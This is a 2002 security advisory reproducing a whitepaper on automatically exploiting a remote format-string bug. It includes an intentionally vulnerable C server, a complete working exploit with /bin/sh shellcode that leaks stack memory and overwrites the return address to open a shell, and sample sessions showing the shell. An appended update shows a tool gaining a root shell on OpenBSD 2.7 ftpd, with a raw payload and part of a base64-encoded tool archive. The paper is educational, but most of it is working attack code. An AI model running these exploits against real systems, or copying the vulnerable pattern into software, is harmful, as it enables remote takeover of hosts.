26th Sep 2002 [SBWID-5286]
COMMAND
	Automated remote format bug exploit whitepaper
SYSTEMS AFFECTED
	All
PROBLEM
		      Howto remotely and automatically exploit a format bug
	         	    Frédéric Raynal <[email protected]>
	Exploiting a format bug remotely can be something very funny. It  allows
	to very well understand the risks associated to this kind  of  bugs.  We
	won't explain here the basis for this vulnerability (i.e. its origin  or
	the building of the format string)  since  there  are  already  lots  of
	articles available (see the bibliography at the end).
	
	--[  1. Context : the vulnerable server  ]--
	
	We will use very minimalist server (but  nevertheless  pedagogic)  along
	this paper. It requests  a  login  and  password,  then  it  echoes  its
	inputs. Its code is available in appendix 1.
	To install the fmtd server, you'll  have  to  configure  inetd  so  that
	connections to port 12345 are allowed:
	
	# /etc/inetd.conf
	12345  stream  tcp  nowait  raynal  /home/raynal/MISC/2-MISC/RemoteFMT/fmtd
	
	Or with xinetd:
	
	# /etc/xinetd.conf
	service fmtd
	{
	  type        = UNLISTED
	  user        = raynal
	  group       = users
	  socket_type = stream
	  protocol    = tcp
	  wait        = no
	  server      = /tmp/fmtd
	  port        = 12345
	  only_from   = 192.168.1.1 192.168.1.2 127.0.0.1
	}
	
	Then restart your server. Don't forget  to  change  the  rules  of  your
	firewall if you are using one.
	Now, let's see how this server is working:
	
	$ telnet bosley 12345
	Trying 192.168.1.2...
	Connected to bosley.
	Escape character is '^]'.
	login: raynal
	password: secret
	hello world
	hello world
	^]
	telnet> quit
	Connection closed.
	
	Let's have a look at the log file:
	
	Jan  4 10:49:09 bosley fmtd[877]: login -> read login [raynal^M ] (8) bytes
	Jan  4 10:49:14 bosley fmtd[877]: passwd -> read passwd [bffff9d0] (8) bytes
	Jan  4 10:49:56 bosley fmtd[877]: vul() -> error while reading input buf [] (0)
	Jan  4 10:49:56 bosley inetd[407]: pid 877: exit status 255
	
	During the previous example, we simply enter a login, a password  and  a
	sentence before closing the connexion. But what  happens  when  we  feed
	the server with format instructions:
	
	telnet bosley 12345
	Trying 192.168.1.2...
	Connected to bosley.
	Escape character is '^]'.
	login: raynal
	password: secret
	%x %x %x %x
	d 25207825 78252078 d782520
	
	The instructions "%x %x %x %x" being executed, it shows that our  server
	is vulnerable to a format bug.
	
	<off topic>
	    In fact, all programs acting like that are not vulnerable to a
	    format bug:
	          int main( int argc, char ** argv ) 
	          {
	            char buf[8];
	            sprintf( buf, argv[1] );
	          }
	    Using %hn to exploit this leads to an overflow: the formatted
	    string is getting greater and greater, but since no control is
	    performed on its length, an overflow occurs.
	</off topic>
	
	Looking at the  sources  reveals  that  the  troubles  come  from  vul()
	function:
	
	  ...
	  snprintf(tmp, sizeof(tmp)-1, buf);
	  ...
	
	since the buffer <buf> is directly available  to  a  malicious  user,
	the latter is allowed to take control of the server ... and thus gain  a
	shell with the privileges of the server.
	
	--[ 2. Requested parameters ]--
	
	The same parameters as a local format bug are requested here:
	    * the offset to reach the beginning of the buffer ;
	    * the address of a shellcode placed somewhere is the server's memory ;
	    * the address of the vulnerable buffer ;
	    * a return address.
	The exploit is provided as example in annexe 2. The following  parts  of
	this article explain how it was designed.
	Here are some variables used in the exploit:
	    * sd : the socket between client (exploit) and the vulnerable server ;
	    * buf : a buffer to read/write some data ;
	    * read_at : an address in the server's stack ;
	    * fmt : format string sent to the server.
	
	  --[  2.1 Guessing the offset  ]--
	
	This parameter is always necessary for the exploitation of this kind  of
	bug, and its determination works  in  the  same  way  as  with  a  local
	exploitation:
	
	telnet bosley 12345
	Trying 192.168.1.2...
	Connected to bosley.
	Escape character is '^]'.
	login: raynal
	password: secret
	AAAA%1$x
	AAAAa
	AAAA%2$x
	AAAA41414141
	
	Here, the offset is 2. It is very easy to guess  it  automatically,  and
	that is what the function get_offset() aims  at.  It  sends  the  string
	"AAAA%<val>$x" to the server. If the offset  is  <val>,  then  the
	server answers with the string "AAAA41414141" :
	
	  #define MAXOFFSET 255
	  for (i = 1; i<MAX_OFFSET && offset == -1; i++) {
	    snprintf(fmt, sizeof(fmt), "AAAA%%%d$x", i);
	    write(sock, fmt, strlen(fmt));
	    memset(buf, 0, sizeof(buf));
	    sleep(1);
	    read(sock, buf, sizeof(buf))
	    if (!strcmp(buf, "AAAA41414141"))
	      offset = i;
	  }
	
	
	  --[  2.2 Guessing the address of the shellcode in the stack  ]--
	
	If one has to place a shellcode in the memory of  the  server,  it  then
	has to guess its address. It can be placed in the vulnerable buffer,  or
	in any other place: we don't care due to format  bug  :)  For  instance,
	some ftp servers allowed to store it in  the  password  (PASS),  without
	not too many checks for anonymous  or  ftp  account.  Here,  our  server
	works that way.
	
	    -- --[  Making a format bug a debugger  ]-- --
	
	We aim at finding the address of the shellcode placed in the  memory  of
	the server. So, we will transform the remote server in  remote  debugger
	!
	Using the format string "%s", one is allowed to read  until  the  buffer
	is full or a NULL character is met. So, by sending successively "%s"  to
	the server, the exploit is able  to  dump  locally  the  memory  of  the
	remote process:
	
	         <addr>%<offset>$s
	
	In the exploit, it is performed in 2 steps:
	   1. The function get_addr_as_char(u_int addr, char *buf) converts
	      addr into char :
	       *(u_int*)buf = addr; 
	   2. then, the next 4 bytes contains the format instruction.
	The format string is then sent to the remote server:
	
	  get_addr_as_char(read_at, fmt);
	  snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);
	  write(sd, fmt, strlen(fmt));
	
	The client reads a string at <addr>. If  it  contains  no  shellcode,
	the next reading is performed at this same address, to  which  one  adds
	the amount of read bytes (i.e. the return value of read()).
	However, all the <len> read characters should not be considered.  The
	vulnerable instruction on the server is something like:
	
		  sprintf(out, in); 
	
	To build the  out  buffer,  sprintf()  starts  by  parsing  the  <in>
	string. The first four bytes are the address we intend to read at:  they
	are simply copied to the output buffer. Then, a  format  instruction  is
	met and interpreted. Hence, we have to remove these 4 bytes:
	
	  while( (len = read(sd, buf, sizeof(buf))) > 0) {
	    [ ... ]
	    read_at += (len-4+1);
	    [ ... ]
	  }
	
	
	    -- --[  What to look for ?  ]-- --
	
	Another problem is how to identify the shellcode in memory. If one  just
	looks for all its bytes in the remote memory, there is a  risk  to  miss
	it. Since the buffer is ended by a NULL byte,  the  string  placed  just
	before can contain lots of NOPs. Hence the reading of the shellcode  can
	be split among 2 readings.
	To avoid this, if the amount of read characters is equal to the size  of
	the buffer, the exploit "forgets" the last sizeof(shellcode) bytes  read
	from the server. Thus, the next reading is performed at:
	
	  while( (len = read(sd, buf, sizeof(buf))) > 0) {
	    [ ... ]
	    read_at += len;
	    if (len == sizeof(buf))
	      read_at-=strlen(shellcode);
	    [ ... ]
	  }
	
	This case has never been tested ... so I don't guarantee it works ;-/
	
	    -- --[  Guessing the exact address of the shellcode  ]-- --
	
	Pattern matching in a string is performed by the function:
	
		ptr = strstr(buf, pattern); 
	
	It returns a pointer to the parsed string addressing the first  byte  of
	the searched pattern. Thus, the position of the shellcode is:
	
		addr_shellcode = read_at + (ptr-buf); 
	
	Except that the buffer contains bytes we need to ignore !!! As  we  have
	previously noticed while exploring the stack, the first  four  bytes  of
	the output buffer are in fact the address we just read at:
	
	        addr_shellcode = read_at + (ptr-buf) - 4; 
	
	
	    -- --[  shellcode : a summary  ]-- --
	
	Sometimes, some code is worthier than long explanations:
	
	  while( (len = read(sd, buf, sizeof(buf))) > 0) {
	    if ((ptr = strstr(buf, shellcode))) {
	      addr_shellcode = read_at + (ptr-buf) - 4;
	      break;
	    }
	    read_at += (len-4+1);
	    if (len == sizeof(buf)) {
	      read_at-=strlen(shellcode);
	    }
	    memset (buf, 0x0, sizeof (buf));
	    get_addr_as_char(read_at, fmt);
	    write(sd, fmt, strlen(fmt));
	  }
	
	
	  --[  2.3 Guessing the return address  ]--
	
	The last (but not the  least)  parameter  to  determine  is  the  return
	address. We need to find a valid return address in  the  remote  process
	stack to overwrite it with the one of the shellcode.
	We won't explain here how the functions are  called  in  C,  but  simply
	remind how variables and parameters are placed  in  the  stack.  Firstly
	the arguments are placed in the stack from the last one (upper)  to  the
	first one (most down). Then, instructions registers (%eip) is  saved  on
	the stack, followed by the base pointer register (%ebp) which  indicates
	the beginning of  the  memory  for  the  current  function.  After  this
	address, the memory is used for the local variables. When  the  function
	ends, %eip is popped and clean up is made on the stack. This just  means
	that the registers %esp and %ebp are popped  according  to  the  calling
	function. The stack is not cleaned up in any way.
	So, our goal is to find a place where the register %eip  is  saved.  Two
	steps are used:
	   1. find the address of the input buffer
	   2. find the return address of the function the vulnerable buffer
	      belongs to.
	Why do we need to look for the address of the buffer ? All pairs  (saved
	ebp, saved eip) that we could find in the stack are  not  good  for  our
	purpose. The stack is never really cleaned up between  different  calls.
	So it contains values used  for  previous  calls,  even  if  they  won't
	really be used by the process.
	Thus, by firstly guessing the address of the vulnerable buffer, we  have
	a point above which all pairs (saved ebp, saved  eip)  are  valid  since
	the vulnerable buffer is itself on the top of the stack :)
	
	    -- --[  Guessing the address of the buffer  ]-- --
	
	The input buffer is easily identified in the  remote  memory:  it  is  a
	mirror for the characters we feed it with. The server fmtd  copies  them
	without any modification (Warning: if some  characters  were  placed  by
	the server before its answer, they should be considered).
	So, we simply have to look at the exact copy of  our  format  string  in
	the server's memory:
	
	  while((len = read(sd, buf, sizeof(buf))) > 0) {
	    if ((ptr = strstr(buf, fmt))) {
	      addr_buffer = read_at + (ptr-buf) - 4;
	      break;
	    }
	    read_at += (len-4+1);
	    memset (buf, 0x0, sizeof (buf));
	    get_addr_as_char(read_at, fmt);
	    write(sd, fmt, strlen(fmt));
	  }
	
	
	    -- --[  Guessing the return address  ]-- --
	
	On most of  the  Linux  distributions,  the  top  of  the  stack  is  at
	0xc0000000. This is not true for all the distributions: Caldera  put  it
	at 0x80000000 (BTW,  if  someone  can  explain  me  why  ?).  The  space
	reserved in it depends  on  the  needs  of  the  program  (mainly  local
	variables). These are usually placed  in  the  range  0xbfffXXXX,  where
	<XX> is an undefined byte. On the contrary, the  instruction  of  the
	process (.text section) are loaded from 0x08048000.
	So, we have to read the remote stack to find something that looks like:
			Top of the stack
			   0x0804XXXX
			   0xbfffXXXX
	Due to little endian, this is equivalent to looking for the string  0xff
	0xbf XX XX 0x04 0x08. As we have seen, we don't  have  to  consider  the
	first 4 bytes of the returned string:
	
	    i = 4;
	    while (i<len-5 && addr_ret == -1) {
	      if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf &&
		  buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) {
		addr_ret = read_at + i - 2 + 4 - 4;
		fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len);
	      }
	      i++;
	    }
	    if (addr_ret != -1) break;
	
	The variable <addr_ret> is initialized with a very complex formula:
	    * addr_ret : the address we just read ;
	    * +i : the offset in the string we are looking for the pattern (we
	      can't use strstr() since our pattern has wildcards - undefined
	      bytes XX) ;
	    * -2 : the first bytes we discover in the stack are ff bf, but
	      he full word (i.e. saved %ebp) is written on 4 bytes. The -2
	      is for the 2 "least bytes" placed at the beginning of the word XX
	      XX ff bf ;
	    * +4 : this modification is due to the return address which is 4
	      bytes above the saved %ebp ;
	    * -4 : as you should be used to now, the first 4 bytes which are a
	      copy of the read address.
	
	--[  3. Exploitation  ]--
	
	So, since we now have all the requested parameters, the exploitation  in
	itself is not very  difficult.  We  just  have  to  replace  the  return
	address of the vulnerable  function  (addr_ret)  with  the  one  of  the
	shellcode (addr_shellcode). The function fmtbuilder is  taken  from  [5]
	and build the format string sent to the server:
	
	      build_hn(buf, addr_ret, addr_shellcode, offset, 0);
	      write(sd, buf, strlen(buf));
	
	Once the replacement is performed in the remote stack, we just  have  to
	return from  the  vul()  function.  We  then  send  the  "quit"  command
	specially intended to that ;-)
	
	      strcpy(buf, "quit");
	      write(sd, buf, strlen(buf));
	
	Lastly, the function interact()  plays  with  the  file  descriptors  to
	allow us to use the gained shell.
	In the next example, the exploit is started from bosley to charly :
	
	$ ./expl-fmtd -i 192.168.1.1 -a 0xbfffed01
	Using IP 192.168.1.1
	Connected to 192.168.1.1
	login sent [toto] (4)
	passwd (shellcode) sent (10)
	[Found offset = 6]
	[buffer addr is: 0xbfffede0 (12) ]
	buf = (12)
	e0 ed ff bf e0 ed ff bf 25 36 24 73 
	[shell addr is: 0xbffff5f0 (60) ]
	buf = (60)
	e5 f5 ff bf 8b 04 08 28 fa ff bf 22 89 04 08 eb 1f 5e 89 76 08 
	31 c0 88 46 07 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 
	31 db 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 68 
	[ret addr is: 0xbffff5ec (60) ]
	Building format string ...
	Sending the quit ...
	bye bye ...
	Linux charly 2.4.17 #1 Mon Dec 31 09:40:49 CET 2001 i686 unknown
	uid=500(raynal) gid=100(users)
	exit
	$
	
	
	--[  4. Conclusion  ]--
	
	Less format bugs are discovered ... fortunately. As  we  just  saw,  the
	automation is not very  difficult.  The  library  fmtbuilmder  (see  the
	bibliography) also provides the necessary tools for that.
	Here, the exploit  starts  its  reading  of  the  remote  memory  to  an
	arbitrary value. But if it is too low, the server crashes.  The  exploit
	can be modified to explore the stack from the top to the  bottom...  but
	the strategies used to identify some values have  then  to  be  slightly
	adapted. The difficulty seems a bit greater.
	The reading then starts from the top  of  the  stack  0xc0000000-4.  One
	have to change the value of the variable addr_stack. Moreover, the  line
	read_at+=(len-4+1); have to be replaced with read_at-=4;  In  this  way,
	the argument -a is useless.
	The disadvantage of this solution is that the return  address  is  below
	the input buffer. But all that is below this buffer comes from  function
	that are no more in the stack: these data are written in a  free  region
	of the stack, so they can be modified at any time by  the  process.  So,
	the search of the return address has to be change (several can be  found
	above the vulnerable buffer ... but we can't control whether  they  will
	be really used).
	
	--[  Greetings  ]--
	
	Denis Ducamp and Renaud Deraison for their comments/fixes.
	
	------------------------------------------------------------------------
	--[  Appendix 1 : the server side fmtd  ]--
	#include <stdio.h>
	#include <stdlib.h>
	#include <netinet/in.h>
	#include <unistd.h>
	#include <stdarg.h>
	#include <syslog.h>
	void respond(char *fmt,...);
	int vul(void)
	{
	  char tmp[1024];
	  char buf[1024];
	  int len = 0;
	  syslog(LOG_ERR, "vul() -> tmp = 0x%x buf = 0x%x\n", tmp, buf); 
	  while(1) {
	    memset(buf, 0, sizeof(buf));
	    memset(tmp, 0, sizeof(tmp));
	    if ( (len = read(0, buf, sizeof(buf))) <= 0 ) {
	      syslog(LOG_ERR, "vul() -> error while reading input buf [%s] (%d)",
		     buf, len);
	      exit(-1);
	    } /*
		else
		syslog(LOG_INFO, "vul() -> read %d bytes", len);
	      */
	    if (!strncmp(buf, "quit", 4)) {
	      respond("bye bye ...\n");
	      return 0;
	    }
	    snprintf(tmp, sizeof(tmp)-1, buf);
	    respond("%s", tmp);
	  }
	}
	void respond(char *fmt,...)
	{
	  va_list va;
	  char buf[1024];
	  int len = 0;
	  va_start(va,fmt);
	  vsnprintf(buf,sizeof(buf),fmt,va);
	  va_end(va);
	  len = write(STDOUT_FILENO,buf,strlen(buf));
	  /* syslog(LOG_INFO, "respond() -> write %d bytes", len); */
	}
	int main()
	{
	  struct sockaddr_in sin;
	  int i,len = sizeof(struct sockaddr_in);
	  char login[16];
	  char passwd[1024];
	  openlog("fmtd", LOG_NDELAY | LOG_PID, LOG_LOCAL0);
	  /* get login */
	  memset(login, 0, sizeof(login));
	  respond("login: ");
	  if ( (len = read(0, login, sizeof(login))) <= 0 ) {
	    syslog(LOG_ERR, "login -> error while reading login [%s] (%d)",
		   login, len);
	    exit(-1);
	  } else
	    syslog(LOG_INFO, "login -> read login [%s] (%d) bytes", login, len);
	  /* get passwd */
	  memset(passwd, 0, sizeof(passwd));
	  respond("password: ");
	  if ( (len = read(0, passwd, sizeof(passwd))) <= 0 ) {
	    syslog(LOG_ERR, "passwd -> error while reading passwd [%s] (%d)",
		   passwd, len);
	    exit(-1);
	  } else
	    syslog(LOG_INFO, "passwd -> read passwd [%x] (%d) bytes", passwd, len);
	  /* let's run ... */
	  vul();
	  return 0;
	}
	------------------------------------------------------------------------
	--[  Appendix 2 : the exploit side expl-fmtd  ]--
	#include <stdio.h>
	#include <stdlib.h>
	#include <string.h>
	#include <sys/socket.h>
	#include <sys/types.h>
	#include <netinet/in.h>
	#include <netdb.h>
	#include <unistd.h>
	#include <getopt.h>
	char verbose = 0, debug = 0;
	#define OCT( b0, b1, b2, b3, addr, str ) { \
			b0 = (addr >> 24) & 0xff; \
	        	b1 = (addr >> 16) & 0xff; \
	        	b2 = (addr >>  8) & 0xff; \
	        	b3 = (addr      ) & 0xff; \
	                if ( b0 * b1 * b2 * b3 == 0 ) { \
	                	printf( "\n%s contains a NUL byte. Leaving...\n", str ); \
	                  	exit( EXIT_FAILURE ); \
	                } \
		}
	#define MAX_FMT_LENGTH 	128 
	#define ADD		0x100	
	#define FOUR            sizeof( size_t ) * 4
	#define TWO             sizeof( size_t ) * 2
	#define BANNER "uname -a ; id"
	#define MAX_OFFSET 255
	int interact(int sock)
	{
	  fd_set fds;
	  ssize_t ssize;
	  char buffer[1024];
	  write(sock, BANNER"\n", sizeof(BANNER));
	  while (1) {
	    FD_ZERO(&fds);
	    FD_SET(STDIN_FILENO, &fds);
	    FD_SET(sock, &fds);
	    select(sock + 1, &fds, NULL, NULL, NULL);
	    if (FD_ISSET(STDIN_FILENO, &fds)) {
	      ssize = read(STDIN_FILENO, buffer, sizeof(buffer));
	      if (ssize < 0) {
		return(-1);
	      }
	      if (ssize == 0) {
		return(0);
	      }
	      write(sock, buffer, ssize);
	    }
	    if (FD_ISSET(sock, &fds)) {
	      ssize = read(sock, buffer, sizeof(buffer));
	      if (ssize < 0) {
		return(-1);
	      }
	      if (ssize == 0) {
		return(0);
	      }
	      write(STDOUT_FILENO, buffer, ssize);
	    }
	  }
	  return(-1);
	}
	u_long resolve(char *host)
	{
	  struct hostent *he;
	  u_long ret;
	  if(!(he = gethostbyname(host)))
	    {
	      herror("gethostbyname()");
	      exit(-1);
	    }
	  memcpy(&ret, he->h_addr, sizeof(he->h_addr));
	  return ret;
	}
	int 
	build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base)
	{
	  unsigned char b0, b1, b2, b3;
	  unsigned int high, low;
	  int start = ((base / (ADD * ADD)) + 1) * ADD * ADD;
	  int sz;
	  /* <locaddr> : where to overwrite */
	  OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]");
	  sz = snprintf(buf, TWO + 1,     /* 8 char to have the 2 addresses */
		         "%c%c%c%c"       /* + 1 for the ending \0 */
		         "%c%c%c%c",
		         b3, b2, b1, b0,
		         b3 + 2, b2, b1, b0);
	  /* where is our shellcode ? */
	  OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]");
	  high = (retaddr & 0xffff0000) >> 16; 
	  low = retaddr & 0x0000ffff;      
	  return snprintf(buf + sz, MAX_FMT_LENGTH, 
			   "%%.%hdx%%%d$n%%.%hdx%%%d$hn", 
			   low - TWO + start - base, 
			   offset, 
			   high - low + start, 
			   offset + 1);
	}
	void get_addr_as_char(u_int addr, char *buf) {
	  *(u_int*)buf = addr;
	  if (!buf[0]) buf[0]++;
	  if (!buf[1]) buf[1]++;
	  if (!buf[2]) buf[2]++;
	  if (!buf[3]) buf[3]++;
	}
	int get_offset(int sock) {
	  int i, offset = -1, len;
	  char fmt[128], buf[128];
	  for (i = 1; i<MAX_OFFSET && offset == -1; i++) {
	    snprintf(fmt, sizeof(fmt), "AAAA%%%d$x", i);
	    write(sock, fmt, strlen(fmt));
	    memset(buf, 0, sizeof(buf));
	    sleep(1);
	    if ((len = read(sock, buf, sizeof(buf))) < 0) {
	      fprintf(stderr, "Error while looking for the offset (%d)\n", len);
	      close(sock);
	      exit(EXIT_FAILURE);
	    }
	    if (debug) 
	      fprintf(stderr, "testing offset = %d fmt =  [%s] buf = [%s] len = %d\n", 
		      i, fmt, buf, len);
	    if (!strcmp(buf, "AAAA41414141"))
	      offset = i;
	  }
	  return offset;
	}
	char *shellcode =
	  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	  "\x80\xe8\xdc\xff\xff\xff/bin/sh";
	int main(int argc, char **argv)
	{
	  char *ip = "127.0.0.1", *ptr;
	  struct sockaddr_in sck;
	  u_int read_at, addr_stack = (u_int)0xbfffe0001; /* default bottom */
	  u_int addr_shellcode = -1, addr_buffer = -1, addr_ret = -1;
	  char buf[1024], fmt[128], c;
	  int port = 12345, offset = -1;
	  int sd, len, i;
	  while ((c = getopt(argc, argv, "dvi:p:a:o:")) != -1) {
	    switch (c) {
	      case 'i':
		ip = optarg;
		break;
	      case 'p':
		port = atoi(optarg);
		break;
	      case 'a':
		addr_stack = strtoul(optarg, NULL, 16);
		break;
	      case 'o':
		offset = atoi(optarg);
		break;
	      case 'v':
		verbose = 1;
		break;
	      case 'd':
		debug = 1;
		break;
	      default:
		fprintf(stderr, "Unknwon option %c (%d)\n", c, c);
		exit (EXIT_FAILURE);
	    }
	  }
	  /* init the sockaddr_in */
	  fprintf(stderr, "Using IP %s\n", ip);
	  sck.sin_family = PF_INET;
	  sck.sin_addr.s_addr = resolve(ip);
	  sck.sin_port = htons (port);
	  /* open the socket */
	  if (!(sd = socket (PF_INET, SOCK_STREAM, 0))) {
	    perror ("socket()");
	    exit (EXIT_FAILURE);
	  }
	  /* connect to the remote server */
	  if (connect (sd, (struct sockaddr *) &sck, sizeof (sck)) < 0) {
	    perror ("Connect() ");
	    exit (EXIT_FAILURE);
	  }
	  fprintf (stderr, "Connected to %s\n", ip);
	  if (debug) sleep(10);
	  /* send login */
	  memset (buf, 0x0, sizeof(buf));
	  len = read(sd, buf, sizeof(buf));
	  if (strncmp(buf, "login", 5)) {
	    fprintf(stderr, "Error: no login asked [%s] (%d)\n", buf, len);
	    close(sd);
	    exit(EXIT_FAILURE);
	  }
	  strcpy(buf, "toto");
	  len = write (sd, buf, strlen(buf));
	  if (verbose) fprintf(stderr, "login sent [%s] (%d)\n", buf, len);
	  sleep(1);
	  /* passwd: shellcode in the buffer and in the remote stack */
	  len = read(sd, buf, sizeof(buf));
	  if (strncmp(buf, "password", 8)) {
	    fprintf(stderr, "Error: no password asked [%s] (%d)\n", buf, len);
	    close(sd);
	    exit(EXIT_FAILURE);
	  }
	  write (sd, shellcode, strlen(shellcode));
	  if (verbose) fprintf (stderr, "passwd (shellcode) sent (%d)\n", len);
	  sleep(1);
	  /* find offset */
	  if (offset == -1) {
	    if ((offset = get_offset(sd)) == -1) {
	      fprintf(stderr, "Error: can't find offset\n");
	      fprintf(stderr, "Please, use the -o arg to specify it.\n");
	      close(sd);
	      exit(EXIT_FAILURE);
	    }
	    if (verbose) fprintf(stderr, "[Found offset = %d]\n", offset);
	  }
	  /* look for the address of the shellcode in the remote stack */
	  memset (fmt, 0x0, sizeof(fmt));
	  read_at = addr_stack;
	  get_addr_as_char(read_at, fmt);
	  snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);
	  write(sd, fmt, strlen(fmt));
	  sleep(1);
	  while((len = read(sd, buf, sizeof(buf))) > 0 && 
		(addr_shellcode == -1 || addr_buffer == -1 || addr_ret == -1) ) {
	    if (debug) fprintf(stderr, "Read at 0x%x (%d)\n", read_at, len);
	    /* the shellcode */
	    if ((ptr = strstr(buf, shellcode))) {
	      addr_shellcode = read_at + (ptr-buf) - 4;
	      fprintf (stderr, "[shell addr is: 0x%x (%d) ]\n", addr_shellcode, len);
	      fprintf(stderr, "buf = (%d)\n", len);
	      for (i=0; i<len; i++) {
		fprintf(stderr,"%.2x ", (int)(buf[i] & 0xff));
		if (i && i%20 == 0) fprintf(stderr, "\n");
	      }
	      fprintf(stderr, "\n");
	    }
	    /* the input buffer */
	    if (addr_buffer == -1 && (ptr = strstr(buf, fmt))) {
	      addr_buffer = read_at + (ptr-buf) - 4;
	      fprintf (stderr, "[buffer addr is: 0x%x (%d) ]\n", addr_buffer, len);
	      fprintf(stderr, "buf = (%d)\n", len);
	      for (i=0; i<len; i++) {
		fprintf(stderr,"%.2x ", (int)(buf[i] & 0xff));
		if (i && i%20 == 0) fprintf(stderr, "\n");
	      }
	      fprintf(stderr, "\n\n");
	    }
	    /* return address */
	    if (addr_buffer != -1) {
	      i = 4;
	      while (i<len-5 && addr_ret == -1) {
		if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf &&
		    buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) {
		  addr_ret = read_at + i - 2 + 4 - 4;
		  fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len);
		}
		i++;
	      }
	    }
	    read_at += (len-4+1);
	    if (len == sizeof(buf)) {
	      fprintf(stderr, "Warning: this has not been tested !!!\n");
	      fprintf(stderr, "len = %d\nread_at = 0x%x", len, read_at);
	      read_at-=strlen(shellcode);
	    }
	    get_addr_as_char(read_at, fmt);
	    write(sd, fmt, strlen(fmt));
	  }
	  /* send the format string */
	  fprintf (stderr, "Building format string ...\n");
	  memset(buf, 0, sizeof(buf));
	  build_hn(buf, addr_ret, addr_shellcode, offset, 0);
	  write(sd, buf, strlen(buf));
	  sleep(1);
	  read(sd, buf, sizeof(buf));
	  /* call the return while quiting */
	  fprintf (stderr, "Sending the quit ...\n");
	  strcpy(buf, "quit");
	  write(sd, buf, strlen(buf));
	  sleep(1);
	  interact(sd);
	  close(sd);
	  return 0;
	}
	------------------------------------------------------------------------
	--[  Bibliography  ]--
	   1. More info on format bugs par P. "kalou" Bouchareine 
	      (http://www.hert.org/papers/format.html)
	   2. Format Bugs: What are they, Where did they come from,... How to
	      exploit them par lamagra 
	      ([email protected] <[email protected]>)
	   3. Éviter les failles de sécurité dès le développement d'une
	      application - 4 : les chaînes de format  par F. Raynal, C.
	      Grenier, C. Blaess
	      (http://minimum.inria.fr/~raynal/index.php3?page=121 ou
	      http://www.linuxfocus.org/Francais/July2001/article191.shtml)
	   4. Exploiting the format string vulnerabilities par scut (team TESO)
	      (http://www.team-teso.net/articles/formatstring)
	   5. fmtbuilder-howto par F. Raynal et S. Dralet 
	      (http://minimum.inria.fr/~raynal/index.php3?page=501)
	------------------------------------------------------------------------
	
	 Update (22 April 2002)
	 ======
	Fredrik Widlund [[email protected]] added :
	"fox", is a tool I wrote for  automatically  exploiting  any  (or  most)
	format bugs, locally and remotely. It runs on OpenBSD and not ported  to
	other platforms, though it should be very straighforward.
	The only requirement is that you get the actual printed string  back  to
	the program, in the case of the OpenBSD 2.7 ftpd you need to proxy  this
	through a small shell program since the output  occurs  in  the  process
	listing.
	This  should  work   for   exploiting   bugs   on   most   little-endian
	32bit-machines like the i386 providing you supply the shellcode.
	Included is a trivial local example, and another on how to point  it  at
	the OpenBSD 2.7 ftpd to remotely get a root prompt instead  of  the  ftp
	banner ...
	
	Exploiting OpenBSD 2.7 ftp server
	Input has to be < 256 characters, working offsets are -18 and -2
	Ex:
	root@wolf> ./fox -s 220 -p 50 -o-18 ex2/ex2
	alignment               0
	chars before argument   111
	chars before insert     0
	argument offset         9
	argument pointer offset 0
	argument address        0xdfbfd15c
	esp                     0xdfbfd138
	uid=0(root) gid=0(wheel) groups=0(wheel)
	root@wolf> nc 127.0.0.1 21
	id
	uid=0(root) gid=0(wheel) groups=0(wheel)
	uname -a
	OpenBSD wolf 2.7 GENERIC#0 i386
	cat /etc/hosts
	127.0.0.1 AAAA<81>ð<81>Ð<81>¿<81>ßBBBB<81>ñ<81>Ð<81>¿<81>ßCCCC<81>ò<81>Ð<81>¿
	<81>ßDDDD<81>ó<81>Ð<81>¿<81>ß%p%p%p%p%p%p%p%p%p%0323x%hn%0287x%hn%0238x%hn%0288x%hn<81>ëI<8B>$<81>Ã1<81>ÉQ<83><81>ÀP<89><81>Ã<83><81>ÃS<89>?<88>K<83><89>X<88>K
	<83><81>Ã<89><88>K<83><89>HP<81>¸;UUU%;<81>ª<81>ª<81>ª<81>Í<80>PP<81>¸UUU%<81>ª
	<81>ª<81>ª<81>Í<80><81>è<81>²<81>ÿ<81>ÿ<81>ÿ<81>ë<81>´[CODE_BY_LONEWOLF]/bin/shF-cGG/bin/shAxxxxxxxxxxxxx
	exit
	root@wolf>
	-------------------------------Cut----------------------------------------------
	Content-Type: application/x-gzip;
	  name="fox0.1.tgz"
	Content-Transfer-Encoding: base64
	Content-Description: format bug exploiter
	Content-Disposition: attachment; filename="fox0.1.tgz"
	H4sIAFj6vzwAA+08TW/cWHJKBnswTwHyB57bK0231N0i2R9qq91ay5bscVYjaS0rswuNoGXzQ6LV
	TTZIttRej4E05pJBbgEC5AcECJBjkENus8GccgiQH5BgrgH2svk4Z1L1vvjRbFker6VFhiXJJB/r
	1atXVa+qXpG0408WBPzb/3y08EcLs/DLX3/97R/+Vfre0pcfUfyFhT+gx3/624/gbGHhj6Pqw78B
	/N5fs3sIqtpU11otOFLIHtn5WrO1trbW0mi7rjZ1faGVw8vvHMZhZAQwZOD70VV4l2e2PbgJhm4W
	HH+yOjTObccd2PNw/vLfv/4Wj//73XffvQvth6MfLfzS+NGCCkptN5tz9a81mqj/htpqtnR1Ddo1
	QNcW1Ped3HXgB67//ed7T3tgBMrB88cHd3u2eeaT5bqpPH6ys/n0YKVX+8wYDJTdvU83d3vK1vaj
	w6e92qlycPho69nznj3RiD3RFaXueuZgbNnkQT+06qPAP60Pzzdue24FvB1w/cNf3Vy4rfWvtzVV
	E/6/2UJfAOtfR/z3ndx14Ae+/leXFULgF2yA1ODfYGhEpD8+hXU9GvhuZAfkQq1rCqAY4+jMD9aJ
	E9hW4J7XL11rMPash5btmP6wDn9VsraqEx10ivj1ep0E9mUARIjvEMMj/sAike8PcMjlVUW5J91G
